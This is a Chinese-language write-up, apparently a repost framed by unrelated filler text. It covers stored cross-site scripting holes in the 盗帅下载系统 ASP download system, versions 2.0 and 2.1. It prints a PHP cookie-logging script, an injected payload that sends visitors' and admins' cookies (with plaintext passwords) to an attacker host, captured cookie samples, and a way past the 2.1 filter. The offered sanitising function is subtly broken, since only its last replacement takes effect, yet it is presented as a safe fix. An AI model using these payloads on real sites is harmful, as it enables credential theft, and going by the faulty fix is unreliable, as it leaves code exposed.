发布时间:2023-12-19 来源:win7旗舰版 浏览量:
网络技术是从1990年代中期发展起来的新技术,它把互联网上分散的资源融为有机整体,实现资源的全面共享和有机协作,使人们能够透明地使用资源的整体能力并按需获取信息。资源包括高性能计算机、存储资源、数据资源、信息资源、知识资源、专家资源、大型数据库、网络、传感器等。 当前的互联网只限于信息共享,网络则被认为是互联网发展的第三阶段。 盗帅下载系统2.0正式版存在多个跨站漏洞前言: 盗帅下载系统是一个使用比较广泛的ASP程序,开发者经过修改后在10月6号发布了盗帅2.0正式版,解决了以前存在的 大部分SQL injection漏洞.上次在找盗帅2.0的注入漏洞时,就发现盗帅下载系统的COOKIE是明文保存的,就想试试有没有 跨站攻击漏洞.正好这几天放假,把程序翻出来看了看,果然程序几乎没有对跨站攻击进行防范。 漏洞描述: 先粗略看了一下link.asp的代码,这个文件中仅仅对输入做了不能为空的限制,而对于特殊字符却没有任何防范,而且 作者也允许JS和flash代码,应该是作者的大意造成了这个漏洞。我们可以通过插入<script>alert("test")</script>来证明 这个漏洞是否存在.在首页进入申请连接.在网站介绍那里加入,再看看,是不是出来了一个警告窗口?如图一: 但是我们的目的是得到我们想要的COOKIE信息.先找一个支持PHP的空间把我们用来截取COOKIE信息的文件传上去. 这里设我们的空间服务器IP为192.168.1.1.PHP文件代码如下:<?php $info = getenv("QUERY_STRING"); if ($info) { $fp = fopen("test.txt","a"); fwrite($fp,$info."\n"); fclose($fp); } ?> <script language=vbscript> document.location="http://www.ad.com/" </script> 以上代码保存为cookie.php,其中test.txt是我们保存COOKIE信息的文件.http://www.ad.com/是起转向功能的, 具体你自己写吧,爱转那转那.推荐转到一个广告或目标首页什么的,这样不容易被怀疑.当然你也可以通过JS来实现窗口最小化 或自动关闭窗口来达到隐藏的目的。然后我们只要在网站介绍那里添加:<script>window.open('http://192.168.1.1/cookie.PHP?'+document.cookie);</script>这样当用户浏览友情连接的时候,就会弹出窗口并且把他COOKIE中的用户名和密码截取并保存到test.txt中去了。 不过并没有我们希望的那样顺利哦,递交的时候出了点问题,显示如下错误信息: 语法错误 (操作符丢失) 在查询表达式 ''script>window.open('http://192.168.1.1/cookie.PHP?'+document.cookie);</script>'' 中, 呵呵,开始我以为是'把SQL语句搞乱了,在这里郁闷了一段时间,后来再仔细看了看代码,看到这么一段: ~~~~~~~~~~省去一部分 conn.execute("insert into link(strLinName,strLinUrl,boolLinText,boolLinJs,numLinDown,strLinTitle,strLinPic,boolLinShow,dateTimers) values('"& strLinName &"','"& strLinUrl &"',"& Request.Form("boolLinText") &","& Request.Form("boolLinJs") &",0,'"& strLinTitle &"','"& strLinPic &"',False,'"& now() &"')") ~~~~~~~~~~~~~省去一部分由于使用了insert into所以我们递交语句的时候要记得把单引号'换成2个单引号'',把语句中的单引号替换,递交,成功。 这是我截取到的一部分代码:The+Cool+Site=lao=15;%20nicedown=pws=1111&admin=1111;%20ASPSESSIONIDAQSQTAQA=MPNNDBJBNDLDKJIGKMKMFECC The+Cool+Site=lao=15;%20nicedown=pws=1111&admin=1111;%20ASPSESSIONIDAQSQTAQA=MPNNDBJBNDLDKJIGKMKMFECC The+Cool+Site=lao=15;%20nicedown=pws=admin&admin=admin;%20ASPSESSIONIDAQSQTAQA=MPNNDBJBNDLDKJIGKMKMFECC The+Cool+Site=lao=15;%20nicedown=pws=admin&admin=admin;%20ASPSESSIONIDAQSQTAQA=MPNNDBJBNDLDKJIGKMKMFECC看pws=1111&admin=1111中,pws后面的是密码(明文的),admin后面的是用户名. 再来看看在那些地方可以通过flash跨站来达到我们的目的,友情连接页面同样允许使用flash;程序中软件信息页面 中程序简介是可以贴flash和其他多媒体标签的发散一下是不是可以把动网的一些漏洞“移植”到这里来呢? 如多媒体标签未过滤漏洞,不过我没试有兴趣的朋友可以自己看看。在这2个地方我们都可以通过 贴flash来得到我们想要的cookie信息,具体使用的代码大家可以看LIlo/sandflee写的“Flash跨站攻击研究”一文。 本来文章到这里也应该结束了,我也马上告诉了帝国入侵者漏洞的一些情况,大概是2个星期后他也发布了声称修补 了以前所有漏洞的盗帅2.1版。正巧,我把这篇文章发给安全天使的angel看后,angel也去看了看所谓的2.1版, 发现他们写的补丁程序中过滤并不十分严格(我还以为作者经过我又是举例又是推荐好文章给他看之后,终于明白该怎么 做了哦,汗~~~~)提醒我再去试试,果然2.1版中我们仍然可以跨站来得到用户密码。感谢angel的指导~ 我们看代码,2.0的是这样写的:if Request.Form("strLinTitle")<>"" then strLinTitle=Request.Form("strLinTitle") else MsgErrLink=MsgErrLink&"<li>网站介绍不能为空" end if 2.1是这样写的: if Request.Form("strLinTitle")<>"" then if instr(Request.Form("strLinTitle"),".cookies")>0 then MsgErrLink=MsgErrLink&"<li>请勿输入非法字符" else strLinTitle=Request.Form("strLinTitle") end if else MsgErrLink=MsgErrLink&"<li>网站介绍不能为空" end if 再看看 conn.execute("insert into link(strLinName,strLinUrl,boolLinText,boolLinJs,numLinDown,strLinTitle,strLinPic,boolLinShow,dateTimers) values('"& strLinName &"','"& strLinUrl &"',"& Request.Form("boolLinText") &","& Request.Form("boolLinJs") &",0,'"& replace(strLinTitle,".cookies","") &"','"& strLinPic &"',False,'"& now() &"')") 看起来几乎和原来的代码就多了点对strLinTitle的判断,发现如果有.cookies就会提示“请勿输入非法字符”,其实这样 根本不能使程序避免跨站攻击的问题。即使解决了COOKIE密码泄露的问题,那我们不去递交得到密码的语句, 而递交一个格盘或指向其他网站的网页木马的语句呢?不言而喻,结果难以想象。另外,从2.0的 原始发布版我就一直在提醒作者把COOKIE的密码等敏感信息加密,增加安全性;但是不知道 是什么原因,在之后推出的各个补丁包括2.1版在内,作者都没有对COOKIE进行加密,不知是什么缘故。程序最大的改变也就是加强了验证的过程,递交连接后需要通过管理员审核才会在link.asp中显示出来。 而我们仍然可以递交这样的语句来达到目的,在申请连接的页面中“网站介绍”那里输入一下代码: <script>window.open(''http://localhost/cookie.PHP?''+document.cookie);</script> 点击递交,而这个时候作者的过滤语句并没有起到什么作用,我们的语句也就直接递交进去了, 当管理员进入友情连接的管理页面的时候,COOKIE即被我们获得,如图二: 解决方法: angel提供了这样的一段代码来过滤特殊字符,可以根据实际情况添加需要过滤的字符: function checkStr(str) if isnull(str) then checkStr = "" exit function end if checkStr=replace(str,"'","") checkStr=replace(str,";","") checkStr=replace(str,"--","") checkStr=replace(str,"<","<") checkStr=replace(str,">",">") checkStr=replace(str," "," ") checkStr=replace(str,"javascript","/javascript") checkStr=replace(str,"cookie","/cookie") checkStr=replace(str,"document","/document") end function 这样才可以比较稳妥的避免类似攻击,这套程序的问题频繁出现和作者的安全意识是分不开的, 所以希望一些ASP程序员在编写程序的时候能够注意一些这样的安全问题,来提高程序的安全性。 网络的神奇作用吸引着越来越多的用户加入其中,正因如此,网络的承受能力也面临着越来越严峻的考验―从硬件上、软件上、所用标准上......,各项技术都需要适时应势,对应发展,这正是网络迅速走向进步的催化剂。 |
盗帅下载系统2.0正式版存在多个跨站漏洞前言:盗帅下载系统是一个使用比较广泛的ASP程序,开发者经